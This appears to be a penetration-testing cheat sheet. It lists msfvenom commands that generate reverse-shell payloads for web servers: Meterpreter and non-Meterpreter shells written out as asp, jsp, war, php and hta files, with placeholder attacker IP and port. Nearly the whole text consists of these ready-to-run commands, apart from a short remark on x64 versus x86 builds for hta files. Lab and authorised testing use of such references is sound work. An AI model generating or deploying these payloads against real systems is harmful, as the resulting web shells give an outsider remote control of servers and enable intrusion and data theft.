Meterpreter

The output format for each line are asp, jsp, war and php.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > example.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > example.war
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php

Non-Meterpreter

The output format for each line are asp, jsp, war and php.

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f hta-psh -o shell.hta

If the file is hta, then based on the operating system you may have to create a x64 or x86 file for reverse shell.
